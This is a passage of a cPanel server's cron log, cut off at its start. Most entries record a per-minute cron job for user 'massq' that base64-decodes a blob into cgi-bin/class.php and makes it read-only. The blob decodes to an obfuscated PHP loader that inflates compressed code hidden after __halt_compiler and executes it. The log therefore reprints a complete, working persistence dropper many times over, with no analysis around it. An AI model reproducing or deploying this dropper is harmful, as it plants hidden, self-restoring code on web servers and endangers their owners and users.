JHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 21:07:01 server CROND[12161]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 21:08:01 server CROND[12228]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 21:09:01 server CROND[12293]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 21:09:01 server CROND[12294]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Apr  6 21:10:01 server CROND[12367]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  6 21:10:01 server CROND[12368]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  6 21:10:01 server CROND[12370]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 21:10:01 server CROND[12369]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  6 21:11:01 server CROND[12510]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 21:12:01 server CROND[12714]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr  6 21:12:01 server CROND[12717]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 21:13:01 server CROND[12796]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 21:14:01 server CROND[12867]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 21:15:01 server CROND[12933]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 21:15:01 server CROND[12935]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  6 21:15:01 server CROND[12934]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  6 21:16:01 server CROND[13057]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 21:17:01 server CROND[13151]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 21:18:01 server CROND[13311]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 21:19:01 server CROND[13380]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 21:20:01 server CROND[13448]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  6 21:20:01 server CROND[13449]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  6 21:20:01 server CROND[13452]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  6 21:20:01 server CROND[13454]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
